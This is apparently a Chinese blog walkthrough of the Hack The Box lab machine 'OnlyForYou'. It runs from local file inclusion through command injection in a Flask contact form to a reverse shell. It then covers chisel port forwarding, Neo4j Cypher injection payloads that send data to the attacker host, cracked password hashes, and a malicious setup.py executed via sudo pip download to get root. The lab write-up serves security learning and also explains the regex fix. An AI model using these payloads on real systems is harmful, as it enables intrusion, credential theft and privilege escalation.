HTB-OnlyForYou


HTB-OnlyForYou

一、思路概要

1.信息收集找到域名和子域;

2.子域源码审计路由发现LFI;

3.LFI读取Nginx配置文件及主站源码;

4.主站源码审计发现RCE;

5.RCE反弹shell获取www-data权限;

6.查看端口服务发现Neo4j服务;

7.Neo4j注入获得ssh账户密码;

8.pip download代码执行实现suid提权。

二、信息收集

nmap扫描端口服务

发现域名,写入本地hosts文件

echo "10.10.11.210 only4you.htb" >> /etc/hosts

浏览器打开,首页如下

扫描子域

gobuster vhost -u http://only4you.htb --append-domain -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 50

发现一个子域,添加进本地hosts文件

echo "10.10.11.210 beta.only4you.htb" >> /etc/hosts

访问子域

三、LFI(本地文件包含)

点击Source Code,会下载源码。审计发现app.py/download路由,if条件用绝对路径即可绕过,POST提交的image参数最终传递给send_file()函数,实现LFI,只需知道文件绝对路径,即可读取任意文件

nmap扫描结果可看出是Nginx服务,尝试读取Nginx相关配置文件

Nginx主配置文件默认路径:
/etc/nginx/nginx.conf
虚拟主机默认配置文件:
/etc/nginx/sites-available/default
/etc/nginx/sites-enabled/default

Burp抓包,POST访问/download目录,提交image参数,然后在虚拟主机配置文件发现web目录是/var/www/only4you.htb/(主站)和/var/www/beta.only4you.htb/(子域)

子域下源码有app.py,以经验来看,通常主站下应该也有app.py,尝试读取确实存在

/var/www/only4you.htb/app.py

完整代码如下

from flask import Flask, render_template, request, flash, redirect
from form import sendmessage
import uuid

app = Flask(__name__)
app.secret_key = uuid.uuid4().hex

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        email = request.form['email']
        subject = request.form['subject']
        message = request.form['message']
        ip = request.remote_addr

        status = sendmessage(email, subject, message, ip)
        if status == 0:
            flash('Something went wrong!', 'danger')
        elif status == 1:
            flash('You are not authorized!', 'danger')
        else:
            flash('Your message was successfuly sent! We will reply as soon as possible.', 'success')
        return redirect('/#contact')
    else:
        return render_template('index.html')

@app.errorhandler(404)
def page_not_found(error):
    return render_template('404.html'), 404

@app.errorhandler(500)
def server_errorerror(error):
    return render_template('500.html'), 500

@app.errorhandler(400)
def bad_request(error):
    return render_template('400.html'), 400

@app.errorhandler(405)
def method_not_allowed(error):
    return render_template('405.html'), 405

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=80, debug=False)

上面代码第二行从form模块导入了sendmessage方法,form不是python官方模块,所以猜测在同目录下有form.py,读取如下文件确实存在

/var/www/only4you.htb/form.py

完整代码如下

import smtplib, re
from email.message import EmailMessage
from subprocess import PIPE, run
import ipaddress

def issecure(email, ip):
	if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
		return 0
	else:
		domain = email.split("@", 1)[1]
		result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
		output = result.stdout.decode('utf-8')
		if "v=spf1" not in output:
			return 1
		else:
			domains = []
			ips = []
			if "include:" in output:
				dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
				dms.pop(0)
				for domain in dms:
					domains.append(domain)
				while True:
					for domain in domains:
						result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
						output = result.stdout.decode('utf-8')
						if "include:" in output:
							dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
							domains.clear()
							for domain in dms:
								domains.append(domain)
						elif "ip4:" in output:
							ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
							ipaddresses.pop(0)
							for i in ipaddresses:
								ips.append(i)
						else:
							pass
					break
			elif "ip4" in output:
				ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
				ipaddresses.pop(0)
				for i in ipaddresses:
					ips.append(i)
			else:
				return 1
		for i in ips:
			if ip == i:
				return 2
			elif ipaddress.ip_address(ip) in ipaddress.ip_network(i):
				return 2
			else:
				return 1

def sendmessage(email, subject, message, ip):
	status = issecure(email, ip)
	if status == 2:
		msg = EmailMessage()
		msg['From'] = f'{email}'
		msg['To'] = 'info@only4you.htb'
		msg['Subject'] = f'{subject}'
		msg['Message'] = f'{message}'

		smtp = smtplib.SMTP(host='localhost', port=25)
		smtp.send_message(msg)
		smtp.quit()
		return status
	elif status == 1:
		return status
	else:
		return status

四、RCE反弹shell

存在漏洞的代码如下

if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
	return 0
else:
	domain = email.split("@", 1)[1]
	result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
	output = result.stdout.decode('utf-8')

原因:

1.因为re.match()是从头开始匹配;

2.且此if条件的正则没有指定匹配结尾的元字符”$”;

3.从而导致只要字符串前半部分有符合邮箱规则的子串,就匹配成功,执行else;

4.那么email是wa0er@htb.com;curl 127.0.0.1,就会导致domain拼接到dig命令时变成如下,从而执行命令

dig txt htb.com;curl 127.0.0.1

修补思路:

1.更换re.match()为re.fullmatch()
re.fullmatch("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(.[A-Z|a-z]{2,})", email)

2.正则添加匹配结尾的元字符"$"
re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})$", email)

看刚才的app.py,form模块的sendmessage方法在16行被调用,也就是在根目录路由被调用,对比代码中接收的POST参数(email, subject, message),在首页顶部菜单栏对应Contact功能点

随便填,抓包

由于会连续执行两个命令(dig和自己的),第二个命令执行结果看不到,所以通过访问本地http服务来测试。需要先本地开启http服务,然后请求包修改如下发送

查看http服务,成功接收到访问请求

于是反弹shell

本地两个终端窗口,一个开启http服务,一个开启监听

python3 -m http.server 80
nc -lvnp 9898

本地新建一个shell.sh文件,内容如下

bash -i >& /dev/tcp/10.10.14.7/9898 0>&1

然后请求包payload修改如下,发送请求

curl 10.10.14.7/shell.sh|bash

反弹shell成功,获取www-data权限

五、端口转发

然后查看端口服务

80(http)、53(dns)、22(ssh)、3306(mysql)、33060(mysql)都是常规端口

7474、7687分别是neo4j数据库服务的http端口和bolt连接器端口

3000、8001非常规端口,应该有web服务,尝试端口转发把流量代理出来

目标靶机执行如下命令从本地下载chisel(笔者此处下载到/tmp目录)

wget http://10.10.14.7/chisel
chmod +x chisel

本地kali执行如下命令,开启服务端监听

./chisel server -p 9899 -reverse

目标靶机执行如下命令,实现端口转发

./chisel client 10.10.14.7:9899 R:3000:127.0.0.1:3000 R:8001:127.0.0.1:8001

本地kali显示如下,连接建立成功

3000端口,看样子是个git仓库托管服务

8001端口

弱口令admin: admin登录成功,下拉发现数据库正是neo4j

六、Neo4j注入

参考:https://book.hacktricks.xyz/pentesting-web/sql-injection/cypher-injection-neo4j

neo4j原理参考:https://www.w3cschool.cn/neo4j/neo4j_building_blocks.html

页面左侧菜单栏EMPLOYEES选项中有个输入框,输入如下payload,获取服务版本

' OR 1=1 WITH 1 as a  CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.10.14.7/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //

本地http服务可看到回显得到neo4j的服务版本信息

在输入框输入,通过burp传参的话需要经过URL编码且空格需用加号替换

获取label,得到user和employee两个label

' OR 1=1 WITH 1 as a  CALL db.labels() yield label LOAD CSV FROM 'http://10.10.14.7/?label='+label as l RETURN 0 as _0 //

获取user的properties of a key,得到admin和john两个用户的username和password(有些英文名词怕翻译词不达意,就没用中文)

' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.7/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //

https://crackstation.net/破解hash值,如下

8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918	admin
a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6	ThisIs4You

ssh连接john账户

执行sudo -l查看能以root身份执行的命令,可从3000端口服务下载后缀为.tar.gz的压缩包

七、pip download代码执行

google搜索关键字:pip download exploit

https://embracethered.com/blog/posts/2022/python-package-manager-install-and-download-vulnerability/

https://github.com/wunderwuzzi23/this_is_fine_wuzzi

下载exploit

git clone https://github.com/wunderwuzzi23/this_is_fine_wuzzi

修改setup.py两个位置,如下图

from setuptools import setup, find_packages
from setuptools.command.install import install
from setuptools.command.egg_info import egg_info
import os

def RunCommand():
    os.system("chmod u+s /bin/bash")

class RunEggInfoCommand(egg_info):
    def run(self):
        RunCommand()
        egg_info.run(self)


class RunInstallCommand(install):
    def run(self):
        RunCommand()
        install.run(self)

setup(
    name = "this_is_fine_wuzzi",
    version = "0.0.1",
    license = "MIT",
    packages=find_packages(),
    cmdclass={
        'install' : RunInstallCommand,
        'egg_info': RunEggInfoCommand
    },
)

用如下命令在this_is_fine_wuzzi目录下构建python发布包,笔者此处在virtualenv(python3.8.10虚拟环境)下build,因为正常build会报错

python3 -m build

build完成后会在当前目录生成dist目录,里面有个.tar.gz文件

john的账户密码ThisIs4You登录3000端口web端

右上角加号新建仓库,配置如下

新建仓库成功后进入如下界面,点击Upload File上传文件

上传刚刚生成的.tar.gz文件

上传成功如下

然后在目标靶机执行如下命令,可看到/bin/bash已经有了suid权限

sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/wa0er/raw/master/this_is_fine_wuzzi-0.0.1.tar.gz

执行bash -p提权,成功获取root权限

Over!


文章作者: wa0er
版权声明: 本博客所有文章除特別声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明来源 wa0er !
评论
  目录